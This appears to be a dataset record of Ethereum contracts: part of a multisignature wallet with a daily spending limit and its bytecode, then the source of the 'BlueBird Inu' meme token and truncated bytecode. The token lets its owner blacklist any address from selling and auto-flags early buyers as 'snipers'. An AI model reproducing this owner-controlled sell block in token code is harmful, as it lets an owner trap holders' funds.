MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a72305820d637be70b6d5452fb72319b063cd5c887b5c2c6109434aed3a3a558fafaeb68e0029
{"success": true, "error": null, "results": {}}
5,614
0xB92435BD7b9b6EdC79035d9575124108a25257bC
// SPDX-License-Identifier: UNLICENSE /* BLUEBIRD INU The newest and cutest bird token on Ethereum! https://BlueBirdInu.com https://t.me/BlueBirdETH */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BlueBird is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) isSniper; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private tradingActiveBlock; uint256 private deadBlocks; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "BlueBird Inu"; string private constant _symbol = "BLUEBIRD"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xFA3F2618Fdb37B9304e87F8706A5c8E6852303cF); deadBlocks = 1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(5); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 6; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if(from != address(uniswapV2Router) && (tradingActiveBlock > 0 && tradingActiveBlock + deadBlocks > block.number)){ if (from == uniswapV2Pair) { isSniper[to] = true; } else if (to == uniswapV2Pair) { isSniper[from] = true; } } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){ require(!isSniper[from] && !isSniper[to]); _feeAddr1 = 4; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading(uint256 _deadBlocks) external onlyOwner { tradingOpen = true; tradingActiveBlock = block.number; deadBlocks = _deadBlocks; } function addSniperInList(address _account) external onlyOwner { require(_account != address(uniswapV2Router), "We can not blacklist router"); require(!isSniper[_account], "Sniper already exist"); isSniper[_account] = true; } function removeSniperFromList(address _account) external onlyOwner { require(isSniper[_account], "Not a sniper"); isSniper[_account] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610341578063c3c8cd8014610361578063d91a21a614610376578063dd62ed3e14610396578063dd7bd775146103dc578063e9e1831a146103fc57600080fd5b80637d1db4a51461029d57806382aa7c68146102b35780638a259e6c146102d35780638da5cb5b146102e857806395d89b411461031057600080fd5b806338d6f847116100f257806338d6f847146102115780635932ead1146102335780636fc3eaec1461025357806370a0823114610268578063715018a61461028857600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d5578063313ce567146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b426c75654269726420496e7560a01b60208201525b60405161017891906118bc565b60405180910390f35b34801561018d57600080fd5b506101a161019c36600461180f565b610411565b6040519015158152602001610178565b3480156101bd57600080fd5b5066038d7ea4c680005b604051908152602001610178565b3480156101e157600080fd5b506101a16101f03660046117ce565b610428565b34801561020157600080fd5b5060405160098152602001610178565b34801561021d57600080fd5b5061023161022c36600461175b565b610491565b005b34801561023f57600080fd5b5061023161024e36600461183b565b6105a6565b34801561025f57600080fd5b506102316105ee565b34801561027457600080fd5b506101c761028336600461175b565b6105fb565b34801561029457600080fd5b5061023161061d565b3480156102a957600080fd5b506101c760115481565b3480156102bf57600080fd5b506102316102ce366004611875565b610691565b3480156102df57600080fd5b506102316106d7565b3480156102f457600080fd5b506000546040516001600160a01b039091168152602001610178565b34801561031c57600080fd5b50604080518082019091526008815267109315515092549160c21b602082015261016b565b34801561034d57600080fd5b506101a161035c36600461180f565b6108d0565b34801561036d57600080fd5b506102316108dd565b34801561038257600080fd5b50610231610391366004611875565b6108f3565b3480156103a257600080fd5b506101c76103b1366004611795565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103e857600080fd5b506102316103f736600461175b565b61094c565b34801561040857600080fd5b506102316109ee565b600061041e338484610bce565b5060015b92915050565b6000610435848484610cf2565b610487843361048285604051806060016040528060288152602001611a77602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110c2565b610bce565b5060019392505050565b6000546001600160a01b031633146104c45760405162461bcd60e51b81526004016104bb90611911565b60405180910390fd5b600f546001600160a01b03828116911614156105225760405162461bcd60e51b815260206004820152601b60248201527f57652063616e206e6f7420626c61636b6c69737420726f75746572000000000060448201526064016104bb565b6001600160a01b03811660009081526006602052604090205460ff16156105825760405162461bcd60e51b815260206004820152601460248201527314db9a5c195c88185b1c9958591e48195e1a5cdd60621b60448201526064016104bb565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146105d05760405162461bcd60e51b81526004016104bb90611911565b60108054911515600160b81b0260ff60b81b19909216919091179055565b